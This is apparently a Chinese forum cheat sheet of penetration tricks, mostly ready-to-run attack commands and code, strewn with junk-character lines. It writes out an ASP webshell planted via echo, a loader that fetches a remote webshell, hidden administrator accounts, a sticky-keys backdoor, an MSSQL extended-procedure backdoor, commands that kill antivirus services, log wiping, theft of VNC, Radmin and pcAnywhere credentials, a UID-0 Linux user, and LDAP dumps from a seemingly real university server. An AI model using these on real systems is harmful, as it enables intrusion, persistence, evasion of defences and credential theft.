渗透技巧总结

admin

旁站路径问题
1、读网站配置。
) E+ H+ C& u# U  ^- m2、用以下VBS
On Error Resume Next
+ N# c, l2 O+ I7 tIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
% K4 r* s# B, A        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
% l, S1 q) t0 R4 {1 K
9 y7 B$ T. Z9 V# R. }! ~% m8 gUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
, u6 b: D6 P: R: r0 _* X' gFor Each obj3w In objservice
- B8 k- Y, h- P+ F        If IsNumeric(obj3w.Name)
. O/ N5 f3 ^$ a' y# G
# x! d8 e+ r6 Y5 y' \6 LThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
, x" A+ ?( O9 K# ]% x         

, ]  \) S/ e+ `: j/ N5 {       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
9 R' |; k% {1 W% V2 r, a9 J                If Err
" c& U4 }6 Z# r5 V# h  N# [0 E# ~
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
. r, H. ?6 }" _0 J; l+ [8 z
OService.ServerComment & "]"
- o4 h( V6 p9 a3 D# K; J                For Each Binds In OService.ServerBindings
6 F2 v" L* u  a! c: b  c     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
' u5 n" d7 x! f' v3 G9 N                Next
      

2 `6 \0 b/ D0 ^2 g         WScript.Echo "ath            : " & VDirObj.Path
. ?3 s4 k; I) E6 L        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
2 h9 g$ }2 d1 `3 |4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
7 l4 X/ f) S) u& o—————————————————————
7 B6 \4 D# t( z+ [1 ~" F) q/ dWordPress的平台，爆绝对路径的方法是：
( M- Z3 L5 N4 A4 x1 e* ]url/wp-content/plugins/akismet/akismet.php
$ b6 O+ W( t+ C* m* s2 surl/wp-content/plugins/akismet/hello.php
' q. S" M# v0 x* Y- U" f——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
( r/ ^" r& Q8 k  O# l" z( }2 u1 Zphpmyadmin/themes/darkblue_orange/layout.inc.php
$ R. W) s4 E, Z/ }( B0 f————————————————————
+ K, ]( |: `; c' _$ G网站可能目录(注：一般是虚拟主机类）
$ X+ J8 j- C$ g( W$ Q1 j+ I( Wdata/htdocs.网站/网站/
+ O% z0 ~! X( V6 M! v! n1 x————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
0 A" O8 z9 Z1 ^: ynetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
6 P) ]' q+ t* Q+ ~netsh ras ip show config #查看VPN分配IP的方式
% N& h1 g* W* q  C3 n( |netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
9 n0 f$ s5 b# j* p# ^( Dnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
; M. d" T5 w6 k4 X' U' u4 s命令行下添加SQL用户的方法
3 s$ i/ o# q5 }1 _% U9 |# U* d4 [需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
) j6 \: V0 w" p7 Q, JEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

' b) _$ l1 a) m& s8 k另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
2 J7 s* J$ c% z; X" Iz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
; G  G, [/ X) j& jSet   o=CreateObject( "Shell.Users" )
# I0 e2 L- v5 e3 t" jSet z=o.create("test")
$ X! z5 _( H) p) }z.changePassword "123456",""
1 I; a  S# H# K" @* `z.setting("AccountType")=3
7 v! e# ]- h+ ?- T4 I5 \——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
0 D- O, |8 U8 J. u5 t5 }
/ I8 w) N+ ]9 B  h( w) D2 M* I命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
" r0 p9 |: Q% b1 s7 t. W1 z7 ncacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
& C* j- C8 X4 q9 k  \3389相关
- g* P$ [  F' m/ Da、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
# z# |' l( ?! e' c$ o1 UXP 运行mstsc /admin
2003 运行mstsc /console   

8 Z/ p8 C# f, n5 a9 O& O; t杀软关闭（把杀软所在的文件的所有权限去掉）
/ l" D* }/ X/ N% j8 }  V$ y处理变态诺顿企业版：
! P3 M+ c0 G1 n: T% U/ i+ N4 Nnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
5 i3 K6 t$ y$ w; F. anet stop "Symantec Settings Manager" /y
. p3 D7 l0 |( _
卖咖啡：net stop "McAfee McShield"
9 }# R7 ]$ l, `3 }' k. T4 D0 d9 d3 e————————————————————
$ ^, ?0 O, b8 G
$ ]1 }6 V, z$ w5次SHIFT：
' \: e0 X$ D" b  F  n8 [copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
! D6 r2 C* H8 l; O/ L' S) Bcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
* J  f: Z  A# i/ I6 Lcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
% H* O- M3 ?8 v1 @9 ?% c隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
/ _# f  H# |: A2、导出注册表SAM下用户的两个键值
$ u2 i/ {) W4 m# X( m# m: i3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
  U9 e; \9 ]& ]( C- \4 cUSE master;
! l; o  w% P. l6 D: G# r: j% k2 E( |+ t' zEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
8 M- e6 f4 K+ y( p2 `GRANT exec On xp_helpsystem TO public;
———————————————————————
! F# n8 T% k6 x! w# I8 g7 b日志处理
4 p) c% M% u" q$ _; mC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
. R; }2 @" i6 J& b, X! p不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
; J# M7 W7 i' Y0 J用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
; |" j. c$ {% o! o$ ^$ @& z# W& C% p& w4 [当停止msftpsvc服务后可直接删除ex011124.log

- b& P- Q$ }" b0 U8 a5 j+ m1 [4 oMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
9 f, i+ |2 L6 A/ ^$ \HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
2 ~/ v1 j  L: [% e9 }+ i/ h找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
; g; U( @; }9 Z/ x' p% x- y7 l1 N
3 P5 t9 C0 g- `4 W; `5 f) x) @Server\90\Tools\Shell\mru.dat
—————————————————————————
# }8 p; [1 ]) n9 w2 U" @9 t防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

0 R* H- y( r, L' k$ E& m5 z7 x<%
8 l: C% z$ }0 e6 e$ RSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
% U$ o8 U' L0 ?; `1 x. hOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
2 {+ z3 a5 d7 S: ^0 B5 H8 {4 F7 i0 hWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
, w7 O/ D" ]) B* c! q: p1 KSet Retrieval = Nothing
$ [3 E4 m; i' Q  [2 L7 Z* X8 ASet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
. o3 l0 G, P8 R8 }$ ?  T.Open
4 Q5 n2 e  R6 i2 @- f  s. Y2 x$ D; p.Write GetRemoteData
; r  D4 g5 O$ R( ]* I$ ]% V2 J.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
# A# T# j' Y! a5 V$ c  ~& f.Close()
4 B; |. G# o4 _/ XEnd With
Set Ads=nothing
: h2 b& f" I, k- r$ _# v/ Z! yEnd Sub
/ c: }! M1 `+ Q
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
5 k1 o7 n# y( E9 S
" z6 Q: A, R# b4 S# M& s, I! d# RVNC提权方法:
) h- h  X0 D: ~9 j7 ]利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
' Q" M& ^& U9 k$ B% a  @注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
; j4 W+ F- t- v$ m  jregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
- ^. F) n0 e  N5 Y& Aregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
; e% z2 O6 a6 j) tRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
0 e! [% L  v+ I& Z2 i6 F8 J' P% jUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
5 V  P, S0 g, @' L5 C2 `( f/ \来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
9 s3 K) a! t9 m$ j没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
0 H! r; r! s1 M
3 P( P0 J( G1 f( O3 m( L1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
. }! h4 I/ M: k' B! Q  j7 r8 ?6 {strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
- w+ s2 N6 }3 m+ j3 P) }; j7 ]* K+ YstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
) {2 G4 _3 q: J" Z1 L
' o. ^  g3 Y% E";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
7 d: |$ R% W& ~: [+ \
# ^4 A/ K# F5 Q$ l5 p$ GstrSQLDBName & ";"
conn.open strCon
# @* m9 O' o1 R2 j' K& [# fdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
7 I8 C% ~6 s8 r' U4 h******liunx 相关******
: \! c5 e% p/ j$ g/ v0 X一.ldap渗透技巧
1.cat /etc/nsswitch
6 f; _5 D* T# A; }7 Z* p2 i9 ~4 m& `+ P3 E看看密码登录策略我们可以看到使用了file ldap模式

3 H- a: @1 D" f% s. |2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
; Y( O1 Y) D- l1 J, o# T( H" ^6 w( L找到ou,dc,dc设置
  @: A/ D. Z  Y) m! ~! o2 S4 o
7 k+ p# l4 L0 v  t4 \; E3.查找管理员信息
匿名方式
7 [! Q7 C5 [7 [6 T) C& Aldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

1 g6 z9 {1 p5 ~"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
( z  Q( u0 d% y: u$ J2 e& r
1 k# M% U# _2 @7 H+ L' c; k实战:
1.cat /etc/nsswitch
! B9 y# @$ m8 x: v) ?: N& W" }6 n看看密码登录策略我们可以看到使用了file ldap模式
6 l8 U$ u( `9 h2 K3 r
2.less /etc/ldap.conf
4 ~$ ~8 r5 V8 ^; P: {. ?base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
  q, Y; g5 Y+ [7 a+ L4 T0 a6 m匿名方式
+ X) @% @! ?" I: [+ f# }7 M; Zldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" H4 f; t9 d1 ?2 ?, j# |有密码形式
$ K9 |  `3 O8 X) f; W) n$ P+ |ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
2 @' a) ^  B! A+ g& O
7 N8 X1 h9 O+ a. b* H$ E* v
- k0 P4 Z0 ~0 D& a4.查找10条用户记录
4 E2 \2 x. ~" C$ Lldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
: x  H3 ^& ?0 Z2 d* x0 ]/ x
渗透实战:
1.返回所有的属性
/ m: v4 a  c. Y8 J0 v) X& _ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
0 {, c3 j  @& Q) Q  p* tdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
! h! h8 S3 b% k* |2 d  `: p. G# g
7 i8 i0 w" G: Y  o# R3 Ddn: uid=manager,dc=ruc,dc=edu,dc=cn
6 Y1 x; s! _: ]3 r1 F" K( tuid: manager
objectClass: inetOrgPerson
* b) |+ ?. l: w; w0 j; KobjectClass: organizationalPerson
! `% P! ~8 c, n; UobjectClass: person
" R/ [, S% F( ?2 s) e& [9 yobjectClass: top
sn: manager
$ K$ ?! n# R- W2 Lcn: manager

2 r) D! R( k0 U: rdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
$ y  }6 W' e& b5 z2 a: r6 nuid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
0 X! ~& F: q8 E+ `# kobjectClass: top
sn: superadmin
cn: superadmin
) t$ U- Y- {& M7 E9 ]
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
" i# p9 R; d" w$ lobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin
0 ?: z1 b9 z5 B; X' \9 T5 T
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
  P% R' S1 a  C+ _8 ^( `4 a2 Vuid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
7 x0 M' s: T% ^; W8 `' W+ zobjectClass: inetOrgPerson
4 B! \$ w) L" ~$ q* Osn: dcp_anonymous
cn: dcp_anonymous
& Y5 s  T1 ?2 u6 |
! z; a: Z, o% l% k' U- D5 g; e2.查看基类
# Z4 ^* q- g( v. n; r3 w, Sbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

& l) z: q0 o; C9 O, f7 I' M  Umore
$ ]" o, J3 G" F( F! rversion: 1
dn: dc=ruc,dc=edu,dc=cn
+ }- E6 h1 z- |0 C; {dc: ruc
objectClass: domain
8 a0 ]. k% H8 |
9 e! `. ~. p- C7 H1 J3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
+ N! H2 \2 i5 c6 |% |4 Hdn:
0 r1 \5 ]; L/ P- s! i; Z5 Q% n% FobjectClass: top
% K0 [# w1 v) Y) O9 onamingContexts: dc=ruc,dc=edu,dc=cn
6 F0 y4 Q3 }2 t9 S) l3 ssupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
# Y: c5 N# G( e% }supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
8 I! a, s! Y( i  y% QsupportedExtension: 2.16.840.1.113730.3.5.5
% y' K" q" x: G0 ?  C7 I' ksupportedExtension: 2.16.840.1.113730.3.5.6
) `6 H; z" v! P  F1 @5 T6 _6 \' j$ GsupportedExtension: 2.16.840.1.113730.3.5.4
; d8 H; I2 B6 u/ p: B$ ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
) t' k" I1 L6 S5 H4 f5 F8 r+ OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
5 L# D1 c# L9 J1 j- X% d9 D. u2 o7 zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
0 r9 k6 j/ u/ ?: Q" S9 hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
# v8 p0 T+ _+ C  J/ e; p/ S$ ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
1 H7 f  s* o. U* msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
2 U/ t8 |- h. |4 e6 ]1 h0 ?/ WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
- x3 V  d* R; q: U, R; K9 Z( IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
- X& A9 C; L. Z. _2 [5 h: LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
" L) x9 r  O, i  p2 s& H; H: vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
1 o- @4 v1 h* j, ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
# a' ?5 h1 u: j& C+ @; R0 \% ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
0 e9 u* W! Z5 f+ u+ |3 }! N- y# lsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
6 z& f9 K3 h/ l1 w4 P1 RsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
1 D$ }& p! J7 |% v$ @0 YsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
, J: n# ?4 e8 |5 FsupportedControl: 2.16.840.1.113730.3.4.16
! w+ R- T$ J, N3 f' o: Y5 ~2 JsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
5 ]9 W! R5 O; u1 P$ A7 x! p; n" g: EsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
9 q( C- h3 n& C! |& j# U! Z4 lsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
0 d; a; v* c" s  d# g- NsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
* R9 o6 m% ^8 G! K8 W6 V! zsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
$ }1 L& o& V* ?, {; `* `7 V# jvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
: r- k/ H# Z6 F. q$ fnetscapemdsuffix: cn=ldap://dc=webA:389
) x, F" M, J1 L) o* [, f) K& RsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
6 U$ v+ x. O$ [5 W2 X1 Z0 NsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
: P6 ~! y( [7 m/ e1 _supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
. y" H( @' V- X  n; q# H- o% {supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
7 }) k' a7 f' u; Z/ t# csupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
; c2 u7 L. i8 i3 v( X6 ssupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
6 Z9 a6 u: s; w3 Q; ?supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
7 y1 w& L9 A) G& gsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
* ]2 t9 B! p8 c' [. g5 IsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
( ]2 I, `  A4 l- J* N" csupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
3 J/ d. o& }; K' O1 m' xsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
! F' B  W& m: t- @supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
9 p! t2 q% A8 s  {7 u5 @supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
5 m8 ]% D: G( j. i5 UsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
5 G* Q" {& Z/ m6 j1 XsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
, E) P6 K3 ]. w7 ]# xsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
& Q% i! a. I/ k7 f( W* VsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
' \$ @2 Z8 U. N  f$ I. FsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
2 R2 k$ v4 V; g% `6 p0 _4 OsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
' b7 ]) ?. }8 U0 ysupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
; Z; |, e# J# n0 k3 msupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
+ ^7 G4 ~  h; u$ c4 }supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
+ B2 e; k4 r0 M, H0 ^. bsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
3 y( c  r- V9 O  r# q; l% EsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
+ A- \& H  q) A1 z. r# s( b; b————————————
2. NFS渗透技巧
showmount -e ip
列举IP
/ @  \6 _% f7 C# c——————
; c) H/ G1 b  y3 q# Q5 y! K4 h3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
- m2 z0 [( v. ?* }; `" y  Z2 E' x2 Xfinance
img_finance
+ ?& Q5 j5 G. P8 A( r6 a  Fauto
img_auto
html_cms
img_cms
! n; x* v/ s) p$ S! q8 z$ zent_cms
ent_img
ceshi
res_img
res_img_c2
0 i2 q! _4 z; D" _chip
2 b; a' j1 x- V4 u- w( ^chip_c2
1 ^; j3 r- U) a+ a7 x) @ent_icms
1 T& \  P2 N3 T- U- ]* _8 kgames
, R: M+ v% m, ~9 W4 a; Vgamesimg
media
& s. s+ F" g$ o+ C/ V: I  _mediaimg
7 W$ ~8 S9 q% G" ^fashion
res-fashion
res-fo
taobao-home
7 B3 j+ Z* b6 |res-taobao-home
) y, \' K/ S& E- [8 h* chouse
res-house
res-home
res-edu
res-ent
3 {# z, J' g: P% j# k: ?5 ]res-labs
  J$ M  n* H' k- E- Rres-news
6 V3 y7 X: G$ r; [% ures-phtv
res-media
home
+ X7 y5 ^/ Z: J3 ]5 r/ ~4 Aedu
* l. a, D3 \# ]4 r" ~+ [1 C  Qnews
res-book

& j$ L: {% v* ?+ Q% ?6 N. s看相应的下级目录(注意一定要在目录后面添加上/)

, |- V$ M. s) }& s6 t) |
rsync 210.51.X.X::htdocs_app/
6 m! V6 V2 U' |+ k& ]: ]rsync 210.51.X.X::auto/
3 n2 S) H) ^' c$ \: H: E& Wrsync 210.51.X.X::edu/

' ?7 ~" I# `* f2 [' j2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
; p0 R' l/ I/ Xrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
0 \) v4 N( D0 _& z
$ E. K0 Y6 q4 g9 z$ l  k! J4 e四.squid渗透技巧
. a$ z8 t: c6 w" G$ U2 Gnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
0 _7 j5 M# V' I% t8 z2 A7 x& o五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
% k, S% v# F. O+ d) i, B% V
六.joomla渗透小技巧
# J: T  _, f6 V4 q确定版本
% v8 s9 W: u. Rindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

( g# C; @" p2 h1 p+ V, R15&catid=32:languages&Itemid=47

* @/ F( c: }9 I; V重新设置密码
6 Y* a+ e* _3 P6 bindex.php?option=com_user&view=reset&layout=confirm
3 I4 T2 \  N7 s6 Q$ S
* k: O. F; ~, s- X+ t+ a七: Linux添加UID为0的root用户
3 `3 K& z  u7 n, x5 K0 O- museradd -o -u 0 nothack
* H1 J* W2 X7 s* H5 j# ]% H
八.freebsd本地提权
